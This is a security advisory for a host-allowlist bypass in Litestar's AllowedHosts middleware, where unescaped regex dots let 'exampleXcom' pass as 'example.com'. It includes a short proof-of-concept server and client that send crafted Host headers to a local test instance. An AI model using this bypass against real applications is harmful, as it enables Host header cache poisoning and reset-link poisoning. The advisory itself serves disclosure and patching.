Litestar's AllowedHosts has a validation bypass due to unescaped regex metacharacters in configured host patterns

Summary

AllowedHosts host validation can be bypassed because configured host patterns are turned into regular expressions without escaping regex metacharacters (notably .). A configured allowlist entry like example.com can match exampleXcom

Details

In litestar.middleware.allowed_hosts, allowlist entries are compiled into regex patterns in a way that allows regex metacharacters to retain special meaning (e.g., . matches any character). This enables a bypass where an attacker supplies a host that matches the regex but is not the intended literal hostname.

PoC

Server (poc_allowed_hosts_server.py)

from litestar import Litestar, get
from litestar.middleware.allowed_hosts import AllowedHostsConfig

@get("/")
async def index() -> str:
    return "ok"

config = AllowedHostsConfig(allowed_hosts=["example.com"])
app = Litestar([index], allowed_hosts_config=config)

uvicorn poc_allowed_hosts_server:app --host 127.0.0.1 --port 8001

Client (poc_allowed_hosts_client.py)

import http.client

def req(host_header: str) -> tuple[int, bytes]:
    c = http.client.HTTPConnection("127.0.0.1", 8001, timeout=3)
    c.request("GET", "/", headers={"Host": host_header})
    r = c.getresponse()
    body = r.read()
    c.close()
    return r.status, body

print("evil.com:", *req("evil.com"))
print("exampleXcom:", *req("exampleXcom"))

Expected (vulnerable behavior):
Host: evil.com → 400 invalid host

Host: exampleXcom → 200 ok (bypass)

Impact

Type: security control bypass (host allowlist)
Who is impacted: apps relying on AllowedHosts to prevent Host header attacks (cache poisoning, absolute URL construction abuse, password reset link poisoning, etc.). The downstream impact depends on app behavior, but the bypass defeats a core mitigation layer.